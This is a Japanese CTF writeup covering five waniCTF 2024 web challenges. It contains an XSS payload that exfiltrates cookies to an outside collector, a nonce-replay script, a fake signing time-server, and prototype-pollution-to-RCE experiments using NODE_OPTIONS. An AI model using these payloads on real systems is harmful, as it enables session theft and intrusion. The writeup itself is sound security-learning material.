[waniCTF 2024] writeup(web)

Posted on Jun 23, 2024

[web] Bad_Worker

https://web-bad-worker-lz56g6.wanictf.org/fetchdata からflagを取得しようとすると、dummyのflagが取得されます。

dummy

service-worker.jsで動作するService Workerがリクエストを改竄しているようです。

async function onFetch(event) {
    let cachedResponse = null;
    if (event.request.method === 'GET') {
      const shouldServeIndexHtml = event.request.mode === 'navigate';
      let request = event.request;
      if (request.url.toString().includes("FLAG.txt")) {
            request = "DUMMY.txt";
      }
      if (shouldServeIndexHtml) {
        request = "index.html"
      }
        return  fetch(request);
    }

    return cachedResponse || fetch(event.request);
}

直接バックエンドのAPIを叩いてflagを取得します。

$ curl "https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt"
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}

[web] pow

なんかめっちゃ計算してる雰囲気が出ています。

pow

ページソースは以下です。期待するハッシュ値が計算できたら、バックエンドに提出します。

<!DOCTYPE html>
<html>
  <head>
    <title>POW Client</title>
  </head>
  <body>
    <h1>Proof of Work</h1>
    <p>Calculate hashes to get the flag!</p>
    <p>Client status: <span id="client-status">(no status yet)</span></p>
    <p>Server response: <span id="server-response">(no hash sent yet)</span></p>
    <script
      src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"
      integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ=="
      crossorigin="anonymous"
      referrerpolicy="no-referrer"
    ></script>
    <script>
       function hash(input) {
        let result = input;
        for (let i = 0; i < 10; i++) {
          result = CryptoJS.SHA256(result);
        }
        return (result.words[0] & 0xFFFFFF00) === 0;
      }
      async function send(array) {
        document.getElementById("server-response").innerText = await fetch(
          "/api/pow",
          {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
            },
            body: JSON.stringify(array),
          }
        ).then((r) => r.text());
      }
      let i = BigInt(localStorage.getItem("pow_progress") || "0");
      async function main() {
        await send([]);
        async function loop() {
          document.getElementById(
            "client-status"
          ).innerText = `Checking ${i.toString()}...`;
          localStorage.setItem("pow_progress", i.toString());
          for (let j = 0; j < 1000; j++) {
            i++;
            if (hash(i.toString())) {
              await send([i.toString()]);
            }
          }
          requestAnimationFrame(loop);
        }
        loop();
      }
      main();
    </script>
  </body>
</html>

ブラウザのNetworkタブを見ると、確かにハッシュを提出しています。

hash

progressも進んでいます。1000000に達するとflagが取得できそうです。

progress

試しに、求まったハッシュを配列に100個入れて送ると、progressが100進みました。

10000個の固定ハッシュ値を入れた配列を100回送信すると、progressが1000000になりflagが取得できそうです。たまにrate limitに達するので気長に待ちます。

import requests
import time

hash_value = "7844289"
payload = [hash_value for _ in range(10000)]

# ヘッダーの設定
headers = {
    "Content-Type": "application/json",
    "Cookie": "pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiI2Y2I4MjZhNy0xMTRhLTQxOWEtYjg2OC1hYjZkOTlkM2UyZWQifQ.TdIHAJ7BvWSDkNnHWCeIMRa4gffEBurLit_JlHAo24w"
}

def send_request():
    response = requests.post("https://web-pow-lz56g6.wanictf.org/api/pow", json=payload, headers=headers)
    return response.text

def main():
    for _ in range(100):
        try:
            time.sleep(10)
            response = send_request()
            print(response)
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    main()
% python3 solver.py 
progress: 950000 / 1000000
progress: 960000 / 1000000
progress: 970000 / 1000000
progress: 980000 / 1000000
progress: 990000 / 1000000
FLAG{N0nCE_reusE_i$_FUn}

[web] Noscript

ユーザープロフィール画面でUsernameProfileを指定でき、指定のパスを報告するとクローラーが訪問するwebアプリのようです。

noscript noscript2

クローラーはCookieにflagを持った状態でhttps://web-noscript-lz56g6.wanictf.org/[指定のパス]にアクセスします。

const crawl = async (path) => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  const cookie = [
    {
      name: "flag",
      value: FLAG,
      domain: HOST,
      path: "/",
      expires: Date.now() / 1000 + 100000,
    },
  ];
  page.context().addCookies(cookie);
  try {
    await page.goto(APP_URL + path, {
      waitUntil: "domcontentloaded",
      timeout: 3000,
    });
    await page.waitForTimeout(1000);
    await page.close();
  } catch (err) {
    console.error("crawl", err.message);
  } finally {
    await browser.close();
    console.log("crawl", "browser closed");
  }
};

XSSでcookieに含まれるflagを取得する問題だと予想できます。

XSSはapp/main.goGET:/user/:idにあります。profileに指定した値をHTMLとして返します。

// Get user profiles
r.GET("/user/:id", func(c *gin.Context) {
    c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            params := map[string]interface{}{
                "id":       id,
                "username": val[0],
                "profile":  template.HTML(val[1]),
            }
            c.HTML(http.StatusOK, "user.html", params)
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

profileにcookieを取得するJavaScriptを挿入すればflagが取得できそうですが、よく見るとCSPが設定されています。default-src 'self'かつscript-src 'none'なので、JavaScriptは挿入できなさそうです。

c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")

実際にJavaScriptを挿入するとエラーが出ます。 csp

ここで、usernameのみを取得するエンドポイントがあることに気づきます。

usernameを取得して特にエスケープ処理をかけずに返送します。こちらのエンドポイントではCSPは設定されていません。

// Get username API
r.GET("/username/:id", func(c *gin.Context) {
    id := c.Param("id")
    re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
    if re.MatchString(id) {
        if val, ok := db.Get(id); ok {
            _, _ = c.Writer.WriteString(val[0])
        } else {
            _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
        }
    } else {
        _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
    }
})

usernameにCookieを窃取するJavaScriptを挿入し、src/username:idを指定したiframeをprofileに入れることで、CSPがdefault-src 'self', script-src 'none'のもとでもflagが取得できそうです。

Username: <script>fetch(`https://[yours].m.pipedream.net?cookie=${document.cookie}`)</script>

Profile: <iframe src="/username/41b3e2c5-8a30-4f4c-8b98-02d4e08a57c4">

/user/e89c6fe2-3c94-49db-8a9c-1c795ffc300bをクローラーに送信するとRequestBinにflagが送信されます。

flag=FLAG{n0scr1p4_c4n_be_d4nger0us}

[web] One Day One Letter

現在の時刻を元にflagを一部だけ表示するwebアプリのようです。

timestamp

content-servertime-serverの2つのwebサーバがあり、content-servertime-serverから現在の時刻を取得します。

content-server/server.pyは以下です。

import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin

from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)

def get_pubkey_of_timeserver(timeserver: str):
    req = Request(urljoin('https://' + timeserver, 'pubkey'))
    with urlopen(req) as res:
        key_text = res.read().decode('utf-8')
        return ECC.import_key(key_text)

def get_flag_hint_from_timestamp(timestamp: int):
    content = ['?'] * 12
    idx = timestamp // (60*60*24) % 12
    content[idx] = FLAG_CONTENT[idx]
    return 'FLAG{' + ''.join(content) + '}'

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200, "ok")
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
        self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_POST(self):
        try:
            nbytes = int(self.headers.get('content-length'))
            body = json.loads(self.rfile.read(nbytes).decode('utf-8'))

            timestamp = body['timestamp'].encode('utf-8')
            signature = bytes.fromhex(body['signature'])
            timeserver = body['timeserver']

            pubkey = get_pubkey_of_timeserver(timeserver)
            h = SHA256.new(timestamp)
            verifier = DSS.new(pubkey, 'fips-186-3')
            verifier.verify(h, signature)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            dt = datetime.fromtimestamp(int(timestamp))
            res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        except Exception:
            self.send_response(HTTPStatus.UNAUTHORIZED)
            self.end_headers()

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()

time-server/server.pyは以下です。

from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            timestamp = str(int(time.time())).encode('utf-8')
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()
def get_flag_hint_from_timestamp(timestamp: int):
    content = ['?'] * 12
    idx = timestamp // (60*60*24) % 12
    content[idx] = FLAG_CONTENT[idx]
    return 'FLAG{' + ''.join(content) + '}'

やっていることを整理します。

  • content-servertime-serverGET:/pubkeyから公開鍵を取得して、受信したsignatureを検証することで、受信したtimestampが正しいことを確認する。
  • content-serverが公開鍵を取得するサーバはtimeserverパラメータをで指定できる。

また、表示するflagのindexはtimestamp // (60*60*24) % 12で決まります。

def get_flag_hint_from_timestamp(timestamp: int):
    content = ['?'] * 12
    idx = timestamp // (60*60*24) % 12
    content[idx] = FLAG_CONTENT[idx]
    return 'FLAG{' + ''.join(content) + '}'

つまり、以下のことをやればflagが取得できそうです。

  • time-serverを用意して、flagの12文字を全て表示するtimestampsignatureの組を作成する
  • time-serverGET:/pubkeyエンドポイントで公開鍵を返すようにする

time-serverは以下です。

from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            timestamps = []
            for idx in range(12):
                timestamp = (60*60*24) * idx
                timestamp_bytes = str(timestamp).encode('utf-8')
                h = SHA256.new(timestamp_bytes)
                signer = DSS.new(key, 'fips-186-3')
                signature = signer.sign(h)
                timestamps.append({'timestamp' : timestamp_bytes.decode('utf-8'), 'signature': signature.hex()})

            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps(timestamps)
            self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 8000), handler)
httpd.serve_forever()

ngrokなどのサービスを用いて、外部から偽time-serverにアクセス可能にします。

まずは偽time-serverGET:/を叩いて12個のtimestampsignatureの組を取得します。

[
  {
    "timestamp": "0",
    "signature": "d0d59814c5e8afe30cd22b0d0b62745b56e7bef8bfef5f2f08b572c63740745b62375188e88da4d1678299017c7d55003c364bce325743fd471d731e08bd33b0"
  },
  {
    "timestamp": "86400",
    "signature": "95b06e91c4542819acf7b552729900f8fc9816f7fdd41045178971c8651b0cd39ecc81caf8eb5b4aa4f0055761ebcb568b596931a8fc6e9217a331a985bfa2ff"
  },
  ...
  {
    "timestamp": "950400",
    "signature": "1ec57b0ba091c05e11cf293a8ac6c1f08979614f2d5282b11920434e1775ba8ecd21d1dce059a08df3c5cc543fc62dd1c6e012644fd4b6e0ba73068fe33ef3f7"
  }
]

次に、BurpSuiteなどのローカルリクエストを用いてリクエストをキャプチャしてtimestampsignatureを取得したものに変更します。

POST / HTTP/2
Host: web-one-day-one-letter-content-lz56g6.wanictf.org
...
{
    "timestamp":"0",
    "signature":"fd78463f99630dfa0b2ce07ccb45d45a3e33d21b970c30a8957fa3678625a203624a376a8fc9dade2e2bddf16cf26c26f7959d849fd4ba854f7276aba6e23de3",
    "timeserver":"26ca-45-94-210-216.ngrok-free.app"
}

レスポンスからflagの1文字目はlだとわかります。

<p>Current time is 1970-01-01 00:00:00.</p>
<p>Flag is FLAG{l???????????}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>

これを12回繰り返してflagを取得します。

FLAG{lyingthetime}

[web] elec

解けなかったElectronの問題です。

このようにTitleContentを送信すると、それらがページに表示されます。

elec1 elec2

Reportボタンを押すと、クローラーがそのページを訪問します。

elec3

このクローラーはElectronで作られています。Electronのセキュリティについては何も知らなかったのでこの辺を見て学習しました。

elec-admin-console/src/main.jsを見ると、セキュリティ設定を見ることができます。

const createWindow = () => {
	const win = new BrowserWindow({
		width: 800,
		height: 600,
		webPreferences: {
			preload: path.join(__dirname, "preload.js"),
			contextIsolation: false,
			sandbox: false,
		},
	});

	win.webContents.once("did-finish-load", () => {
		console.log("#############################################");
		console.log("Page loaded!");
	});

	win.loadURL(pageUrl);
};

contextIsolation: falseなので、Preloadスクリプト及びElectronの内部ロジックがwebContentsと同じコンテキストで実行されます。また、sandbox: falseなので、プログラムは保護された領域で実行されません。

また、外部から入力が可能なcontentには独自のサニタイズ処理がなされており、imgタグを用いたXSS(<img src=x onerror="alert(1)">など)が可能です。しかし、flagはクローラーのcookieなどに含まれておらず、サーバ側の/flagにファイルとして置かれています。

{{define "article"}}
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>{{ .Title }} - Blog</title>
  {{template "bs-css"}}
  {{template "bs-js"}}
</head>
<body>
  {{template "navbar"}}
  <div class="container">
    <h1 class="mb-3">{{ .Title }}</h1>
    <div id="content" class="mb-3"></div>
    <form method="post" action="/report/{{ .ID }}">
      <button type="submit" class="btn btn-secondary">Report</button>
    </form>
  </div>
  {{template "admin-footer"}}
  <script type="module">
    import sanitizeHtml from 'https://esm.sh/sanitize-html@2.11.0'
    document.getElementById("content").innerHTML = sanitizeHtml({{ .Content }}, {allowedTags: ["p", "br", "hr", "a", "img", "blockquote", "ul", "ol", "li"],allowedAttributes: {'*':['*']}})
  </script>
</body>
</html>
{{end}}

状況を整理します。

  • Preloadスクリプト及びElectronの内部ロジックはwebContentsと同じコンテキストで実行される
  • XSSが可能
  • flagはサーバ側の/flagにある

これらを考慮するとXSSを介してPrototype Pollutionを行い、RCEに繋げてflagを取得することが想定できます。

elec-admin-console/src/preload.jsを見ると、child_processspawnが実行されています。

const { spawn } = require("node:child_process");

window.addEventListener("load", async () => {
	const versions = {
		app: "0.0.1",
		node: process.versions.node,
		chrome: process.versions.chrome,
		electron: process.versions.electron,
	};
	console.log(versions);

	const cp = spawn("uname", ["-a"]);
	console.log(cp);
	const kernelInfo = await loadStream(cp.stdout);
	console.log("###############################################################################");
	console.log("###############################################################################");
	console.log(kernelInfo.toString());

	document.getElementById("app-version").textContent = versions.app;
	document.getElementById("node-version").textContent = versions.node;
	document.getElementById("chrome-version").textContent = versions.chrome;
	document.getElementById("electron-version").textContent = versions.electron;
	document.getElementById("kernel-info").textContent = kernelInfo.toString();
	document.getElementById("admin-footer").classList.remove("d-none");
});

hacktricksのPrototype Pollution to RCEの記事を眺めていると、spawnが使用されている場合に、環境変数を介してRCEを行う方法が書かれていました。

これはspawnなどが実行される際にoptionsとして渡されるenvが指定されないことを利用するものです。

hoge.__proto__env{"AAA": "console.log(123)//"}などを入れ、hoge.__proto__.NODE_OPTIONS--require /proc/self/environを入れると、console.log(123)///proc/self/environに追加された状態でnodejsのプログラムとして実行されます。コメントアウト//によりconsole.log(123)以降は無視されるので、任意の処理を実行することができます。

これをまずローカルで試していましたが、どうも上手くいきませんでした。

const { fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "AAAAAA":"console.log('123')//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');

期待する結果

$ node hoge.js 
123

実際

$ node hoge.js 
/proc/277/environ:1
HOSTNAME=4659a0d0f88e
         ^^^^

SyntaxError: Invalid or unexpected token

原因を探っていると、options.envが書き換えられていないことがわかりました。これはoptionsが指定されない(undefined)の時にoptionskEmptyObjectを入れる処理に基づいています(該当部分のコード)。

どうやらv18.4.0から実装されたようです(参考)。

ここで、spawnを利用してPrototype Pollution to RCEを実現するのは無理だ…となり終了しました。

他の方のwriteupを見ていると、const cp = spawn("uname", ["-a"]);console.log(cp);に着目し、console.logを書き換えることでRCEを行っていました。 https://blog.hamayanhamayan.com/entry/2024/06/23/212226#Web-elec

この着眼点が欲しい…(これに気付けていてもRCEまでできるガチャガチャ力がない気がする)

おわりに

ボス問のtls-specは見れていないですが、個人的にはNoscriptとelecが好きでした。

特に自分はelectronのセキュリティ機構について全く知らなかったので、これを機会に学ぶことができてよかったです。